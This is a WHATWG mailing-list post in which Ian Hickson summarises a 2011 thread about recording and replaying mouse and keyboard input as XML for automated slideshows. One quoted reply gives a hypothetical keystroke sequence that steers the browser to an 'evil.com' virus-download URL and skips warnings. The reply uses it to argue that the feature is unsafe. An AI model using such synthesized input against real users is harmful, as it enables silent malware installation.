[whatwg] Idea for having InputXML Or ClickXML for HTML5+

[Ian Hickson]

On Tue, 1 Mar 2011, Narendra Sisodiya wrote:
>
> We can record mouse and keyboard activity in xml. There are many events 
> which are resolution independent.
>
> for example mouse clicks, button press events . Now suppose you are 
> dealing with some animation or game or just a slideshow. what you do ? 
> you type some buttons from mouse or keyboard. Now if you can record the 
> timeline of these events then we can play back at anytime.

On Tue, 1 Mar 2011, Bjartur Thorlacius wrote:
>
> IMO, you should record when users advance slides (rather than when users 
> press spacebar, activate their cursor on a specified region, flick their 
> accelometer wand, or wipe their touch touchpad in a given direction).

On Tue, 1 Mar 2011, Aryeh Gregor wrote:
> 
> Do you mean that a web page should actually be able to actually control 
> the user's mouse and keyboard?  That's clearly not acceptable for 
> security.  What if the web page types:
> 
> <Ctrl-T><Ctrl-L>http://www.evil.com/download-virus<Enter><Enter><Enter>
> 
> to go to a URL and skip any warnings about, e.g., installing untrusted 
> plugins?  Even if you limit it to synthesizing clicks that only take 
> effect within the invoking webpage, you'd probably still run into 
> security issues with cross-site content (clickjacking on steroids).
> 
> What exactly do you mean by an "automated slideshow"?  How would this 
> feature help with that?

On Wed, 2 Mar 2011, Narendra Sisodiya wrote:
>
> automated slideshow = slideshow where user need not to do next/forward 
> etc, every slide will be having timings and Audio will be in sync with 
> slides. I know this can be done using custom xml file and Javascript.  
> (https://docs.google.com/View?id=dhtsnnph_59gt2jjjdj&pli=1 )

On Wed, 2 Mar 2011, Ben Rimmington wrote:
> 
> See the "Synchronized Multimedia Integration Language" [1] [2].
> 
> [1] <http://www.w3.org/AudioVideo/>
> [2] <http://www.w3.org/TR/SMIL/>

On Wed, 2 Mar 2011, Silvia Pfeiffer wrote:
>
> Have you looked at popcorn.js? http://popcornjs.org/

On Wed, 2 Mar 2011, Narendra Sisodiya wrote:
> 
> Thanks for link..

I haven't added anything to the spec as a result of this particular 
discussion, as I cannot really see what use case is being discussed or 
whether there is a concrete proposal here. Please don't hesitate to post 
further suggestions. In general I would encourage everyone to study this 
particular part of the FAQ:

   http://wiki.whatwg.org/wiki/FAQ#Is_there_a_process_for_adding_new_features_to_a_specification.3F

Cheers,
-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'